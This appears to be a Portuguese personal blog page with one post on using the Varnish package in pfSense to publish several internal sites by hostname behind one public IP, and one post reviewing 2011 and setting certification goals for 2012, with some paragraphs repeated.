O Varnish utiliza o conceito de “backend” que é o servidor WEB interno que atenderá as requisições, após definir o nome, IP, e porta é necessário especificar o “Backend Mappings” que pode ser URL ou Host, em meu cenário especifiquei Host, o “Host” mapeado é um alias no DNS para um sistema, ex: agora os usuários podem acessar os sistemas através de um único endereço IP válido, pois tenho vários alias no DNS para cada sistema ex: IP Valido 200.x.x.x alias no DNS sistemaA.meudominio. sistemaB.meudominio.
Surgiu a necessidade de publicar vários sites na mesma (porta 80) e utilizando um endereço IP público apenas, caso você tenha apenas um site uma regra de NAT resolve, mas este não era minha situação.
Tenho experiência com publicações com os produtos da Microsoft, TMG e ISA (utilizo o nome público – propriedades da regra de publicação), mas com o Pfsense nunca tinha efetuando este tipo de publicação. Após algumas pesquisas encontrei um pacote que atendeu a minha necessidade, o pacote é o “Varnish “.
O Varnish utiliza o conceito de “backend” que é o servidor WEB interno que atenderá as requisições, após definir o nome, IP, e porta é necessário especificar o “Backend Mappings” que pode ser URL ou Host, em meu cenário especifiquei Host, o “Host” mapeado é um alias no DNS para um sistema, ex: agora os usuários podem acessar os sistemas através de um único endereço IP válido, pois tenho vários alias no DNS para cada sistema ex: IP Valido 200.x.x.x alias no DNS sistemaA.meudominio. sistemaB.meudominio.
quarta-feira, janeiro 04, 2012
2012
Mais um ano que passou, posso afirmar que este ano foi muito produtivo para mim profissionalmente, pois obtive muito conhecimento, obtive duas certificações que almejava muito, que é o MCSA e Server Administrator 2008.
Para 2012 pretendo obter algumas certificações Microsoft e Linux (LPI), aprofundar meus conhecimentos na plataforma de virtualização VMware que é algo que gosto muito.
Para 2012 pretendo obter algumas certificações Microsoft e Linux (LPI), aprofundar meus conhecimentos na plataforma de virtualização VMware que é algo que gosto muito.
Assinar:
Postagens (Atom)